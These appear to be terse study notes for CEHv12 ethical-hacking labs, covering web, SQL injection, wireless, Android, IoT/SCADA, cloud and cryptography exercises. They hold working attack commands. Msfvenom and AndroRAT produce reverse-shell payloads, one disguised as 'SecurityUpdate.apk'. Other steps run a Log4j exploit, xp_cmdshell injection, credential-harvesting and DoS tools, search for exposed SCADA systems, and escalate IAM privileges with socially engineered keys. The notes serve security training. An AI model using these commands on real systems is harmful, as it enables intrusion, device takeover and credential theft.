type wpscan --api-token [API Token from Step#26] --url http://10.10.1.22:8080/CEH --plugins-detection aggressive --enumerate vp

Enumerate and Hack a Web Application using WPScan and Metasploit

type use auxiliary/scanner/http/wordpress_login_enum

Exploit a File Upload Vulnerability

type msfvenom -p php/meterpreter/reverse_tcp LHOST=[IP Address of Host Machine] LPORT=4444 -f raw

Gain Access by Exploiting Log4j Vulnerability

Log4j

Type cd log4j-shell-poc

we need to update the installed JDK path in the poc.py file (line 62, 87, 99)

type nc -lvp 9001 (new terminal)

type python3 poc.py --userip 10.10.1.13 --webport 8000 --lport 9001

copy the payload generated in the send me: section.

Username field paste the payload that was copied in previous step and in Password field type password and press Login button

Detect Web Application Vulnerabilities using N-Stalker Web Application Security Scanner

N-Stalker Web App Security Scanner

Navigate to the location Z:\CEHv12 Module 14 Hacking Web Applications\Web Application Security Testing Tools\N-Stalker Web Application Security Scanner

SQL Injection

Perform an SQL Injection Attack on an MSSQL Database

type the query blah';exec master..xp_cmdshell 'ping www.certifiedhacker.com -l 65000 -t'; --

sqlmap

other SQL injection tools such as Mole (https://sourceforge.net), Blisqy (https://github.com), blind-sql-bitshifting (https://github.com), and NoSQLMap (https://github.com)

Detect SQL Injection Vulnerabilities using DSSS

Damn Small SQLi Scanner (DSSS)

other SQL injection detection tools such as Acunetix Web Vulnerability Scanner (https://www.acunetix.com), Snort (https://snort.org), Burp Suite (https://www.portswigger.net), w3af (https://w3af.org), to detect SQL injection vulnerabilities.

Hacking Wireless Networks

Wi-Fi Packet Analysis

Launch Wireshark

Open already captured pcap file (Here 802.11 protocol indicates wireless packets.)

other wireless traffic analyzers such as AirMagnet WiFi Analyzer PRO (https://www.netally.com), SteelCentral Packet Analyzer (https://www.riverbed.com), Omnipeek Network Protocol Analyzer (https://www.liveaction.com), CommView for Wi-Fi (https://www.tamos.com), and Capsa Portable Network Analyzer (**https://www.colasoft.com**)

Wireless Attacks

Crack a WEP network

Aircrack-ng

In the Parrot Terminal window, type aircrack-ng '/home/attacker/Desktop/Sample Captures/WEPcrack-01.cap' (aircrack-ng will crack the WEP key of the CEHLabs)

Crack a WPA2 Network

In the Parrot Terminal window, type aircrack-ng -a2 -b [Target BSSID] -w /home/attacker/Desktop/Wordlist/password.txt '/home/attacker/Desktop/Sample Captures/WPA2crack-01.cap'

other tools such as Elcomsoft Wireless Security Auditor (https://www.elcomsoft.com), Portable Penetrator (https://www.secpoint.com), WepCrackGui (https://sourceforge.net), Pyrit (https://github.com), and WepAttack (http://wepattack.sourceforge.net) to crack WEP/WPA/WPA2 encryption.

Hacking Mobile Platforms

THack an Android Device by Creating Binary Payloads

Type msfvenom -p android/meterpreter/reverse_tcp --platform android -a dalvik LHOST=10.10.1.13 R > Desktop/Backdoor.apk

share to target

Type msfconsole

type use exploit/multi/handler

Type set payload android/meterpreter/reverse_tcp

set lhost and other relevant options

type exploit -j -z

Harvest Users' Credentials using the Social-Engineer Toolkit

Type setoolkit

type 1

type 2

type 3

type 2

Launch a DoS Attack

navigate to CEH-Tools --> CEHv12 Module 17 Hacking Mobile Platforms --> Android Hacking Tools --> Low Orbit Ion Cannon (LOIC)

Exploit the Android Platform through ADB

Type python3 -m pip install colorama

type python3 phonesploit.py

type 3 and provide IP of victim

Hack an Android Device by Creating APK File

AndroRAT

Type python3 androRAT.py --build -i 10.10.1.13 -p 4444 -o SecurityUpdate.apk

Type python3 androRAT.py --build -i 10.10.1.13 -p 4444 -o SecurityUpdate.apk

share apk to victim for execution

other Android hacking tools such as NetCut (https://www.arcai.com), drozer (https://labs.f-

secure.com), zANTI (https://www.zimperium.com), Network Spoofer (https://www.digitalsquid.co.uk), and DroidSheep (https://droidsheep.info)

Analyze a Malicious App using Online Android Analyzers

Online Android analyzers allow you to scan Android APK packages and perform security analyses to detect vulnerabilities in particular apps. Some trusted online Android analyzers are Sixo Online APK Analyzer.

type https://www.sisik.eu/apk-tool

other online Android analyzers such as SandDroid (http://sanddroid.xjtu.edu.cn), and Apktool (http://www.javadecompilers.com)

other Android vulnerability scanners such as X-Ray 2.0 (https://duo.com), Vulners Scanner (https://play.google.com), Shellshock Scanner - Zimperium (https://play.google.com), Yaazhini (https://www.vegabird.com), and Quick Android Review Kit (QARK) (https://github.com)

Secure Android Devices from Malicious Apps

Malwarebytes app

other mobile antivirus and anti-spyware tools such as AntiSpy Mobile (https://antispymobile.com), Spyware Detector - Spy Scanner (https://play.google.com), iAmNotified - Anti Spy System (https://iamnotified.com), and Privacy Scanner (AntiSpy) Free (https://play.google.com)

IoT and OT Hacking

extract information such as IP address, protocols used (MQTT, ModBus, ZigBee, BLE, 5G, IPv6LoWPAN, etc.), open ports, device type, geolocation of the device, manufacturing number, and manufacturer of the device.

Gather Information

type https://www.whois.com/whois/

type www.oasis-open.org

type https://www.exploit-db.com/google-hacking-database

type SCADA in the Quick Search field

navigate to google -> type "login" intitle:"scada login"

Similarly, you can use advanced search operators such as intitle:"index of" scada to search sensitive SCADA directories

type https://account.shodan.io/login

type port:1883 in the address bar (type port:1883 in the address bar)

following Shodan filters:

Search for Modbus-enabled ICS/SCADA systems:

port:502

Search for SCADA systems using PLC name:

“Schneider Electric”

Search for SCADA systems using geolocation:

SCADA Country:"US"

Capture and Analyze IoT Traffic

MQTT

Navigate to Z:\CEH-Tools\CEHv12 Module 18 IoT and OT Hacking\Bevywise IoT Simulator(Bevywise_MQTTRoute_Win_64.exe)

installed MQTT Broker successfully and leave the Bevywise MQTT running

Use another machine to install simulator for a virtual IoT device

Navigate to Z:\CEH-Tools\CEHv12 Module 18 IoT and OT Hacking\Bevywise IoT Simulator(Bevywise_IoTSimulator_Win_64.exe)

To launch the IoT simulator, navigate to the C:\Bevywise\IotSimulator\bin directory and double-click on the runsimulator.bat file.

Create a new network -> add blank device with broker IP of the above machine

To connect the Network and the added devices to the server or Broker, click on the Start Network

we will create the Subscribe command for the device Temperature_Sensor.

Click on the Plus icon in the top right corner and select the Subscribe to Command option

launch the Wireshark

Leave the IoT simulator running and switch to the machine where broker is running.

Open Chrome browser, type http://localhost:8080

Send a message using using the topic section

Type mqtt under the filter field (wireshark)

Select any Publish Message packet from the Packet List pane. In the Packet Details pane at the middle of the window, expand the Transmission Control Protocol, MQ Telemetry Transport Protocol, and Header Flags nodes

Under the MQ Telemetry Transport Protocol nodes, you can observe details such as Msg Len, Topic Length, Topic, and Message.

Cloud Computing

Enumerate S3 Buckets

lazys3 is a Ruby script tool that is used to brute-force AWS S3 buckets using different permutations.

type ruby lazys3.rb

You can search the S3 buckets of specific company. To do so, type ruby lazys3.rb [Company]

S3Scanner is a tool that finds the open S3 buckets and dumps their contents. In the S3Scanner folder, type pip3 install -r requirements.txt

type python3 ./s3scanner.py sites.txt (Here, sites.txt is a text file containing the target website URL that is scanned for open S3 buckets)

Apart from the aforementioned command, you can use the S3Scanner tool to perform the following functions:

Dump all open buckets and log both open and closed buckets in found.txt:

python3 ./s3scanner.py --include-closed --out-file found.txt --dump names.txt

Just log open buckets in the default output file (buckets.txt):

python3 ./s3scanner.py names.txt

Save the file listings of all open buckets to a file:

python ./s3scanner.py --list names.txt

other S3 bucket enumeration tools such as S3Inspector (https://github.com), s3-buckets-bruteforcer (https://github.com), Mass3 (https://github.com), Bucket Finder (https://digi.ninja), and s3recon (https://github.com)

Exploit Open S3 Buckets

AWS command line interface (CLI)

Note: Before starting this task, you must create your AWS account (https://aws.amazon.com).

type pip3 install awscli

To configure AWS CLI in the terminal window, type aws configure

type aws s3 ls s3://[Bucket Name] (list the directories in the certifiedhacker1 bucket)

try to move the Hack.txt file to the certifiedhacker1 bucket. In the terminal window, type aws s3 mv Hack.txt s3://certifiedhacker1

delete the Hack.txt file from the certifiedhacker1 bucket. In the terminal window, type aws s3 rm s3://certifiedhacker1/Hack.txt

Escalate IAM User Privileges by Exploiting Misconfigured User Policy

type aws configure

The AWS Access Key ID and AWS Secret Access Key of the target user's account can be obtained using various social engineering techniques, as discussed in Module 09 Social Engineering.

In the Default region name field, type us-east-2

In the Default output format field, type json

After configuring the AWS CLI, we create a user policy and attach it to the target IAM user account to escalate the privileges.

In the terminal window, type vim user-policy.json (in root folder)

type aws iam create-policy --policy-name user-policy --policy-document file://user-policy.json (attach the created policy (user-policy) to the target IAM user's account)

type aws iam attach-user-policy --user-name [Target Username] --policy-arn arn:aws:iam::[Account ID]:policy/user-policy

type aws iam list-attached-user-policies --user-name [Target Username] (to view the attached policies of the target user)

type aws iam list-users (list all iam users) (escalets priveleges by attaching a new policy)

Other commands:

List of S3 buckets: aws s3api list-buckets --query "Buckets.Name"

User Policies: aws iam list-user-policies

Role Policies: aws iam list-role-policies

Group policies: aws iam list-group-policies

Create user: aws iam create-user

Cryptography

Calculate One-way Hashes

HashCalc

Launch Hashcalc application (Windows)

MD5 Calculator

Launch MD% Calculator in Windows

HashMyFiles

navigate to E:\CEH-Tools\CEHv12 Module 20 Cryptography\MD5 and MD6 Hash Calculators\HashMyFiles

In the HashMyFiles window, click Options from the menu bar and choose Hash Types from the options. You can observe a list of hash functions such as MD5, SHA1, CRC32, SHA-256, SHA-512, and SHA-384.

other MD5 and MD6 hash calculators such as MD6 Hash Generator (https://www.browserling.com), All Hash Generator (https://www.browserling.com), MD6 Hash Generator (https://convert-tool.com), and md5 hash calculator (https://onlinehashtools.com)

Perform File and Text Message Encryption

CryptoForge

navigate to E:\CEH-Tools\CEHv12 Module 20 Cryptography\Cryptography Tools\ CryptoForge. Right-click the Confidential.txt file and click Show more options and select Encrypt

Encrypt files as well as text

Encrypt and Decrypt Data

BCTextEncoder

navigate to E:\CEH-Tools\CEHv12 Module 20 Cryptography\Cryptography Tools\ BCTextEncoder

other cryptography tools such as AxCrypt (https://www.axcrypt.net), Microsoft Cryptography Tools (https://docs.microsoft.com), and Concealer (https://www.belightsoft.com)

Email Encryption

RMail

type https://www.rmail.com/free-trial/

other email encryption tools such as Virtru (https://www.virtru.com), ZixMail (https://www.zixcorp.com), Egress Secure Email and File Transfer (https://www.egress.com), and Proofpoint Email Protection (https://www.proofpoint.com)

Disk Encryption

VeraCrypt

BitLocker

Rohos Disk Encryption

navigate to E:\CEH-Tools\CEHv12 Module 20 Cryptography\Disk Encryption Tools\Rohos Disk Encryption

other disk encryption tools such as FinalCrypt (http://www.finalcrypt.org), Seqrite Encryption Manager (https://www.seqrite.com), FileVault (https://support.apple.com), and Gillsoft Full Disk Encryption (http://www.gilisoft.com)

Perform Cryptanalysis

CrypTool

Launch Cryptool in windows

Using this method, files can be encrypted using CrypTool and shared with an individual in a secure manner, so that no one can intercept the data.

AlphaPeeler

Launch AlphaPeeler app in windows

other cryptanalysis tools such as Cryptosense (https://cryptosense.com), RsaCtfTool (https://github.com), Msieve (https://sourceforge.net), and Cryptol (https://cryptol.net)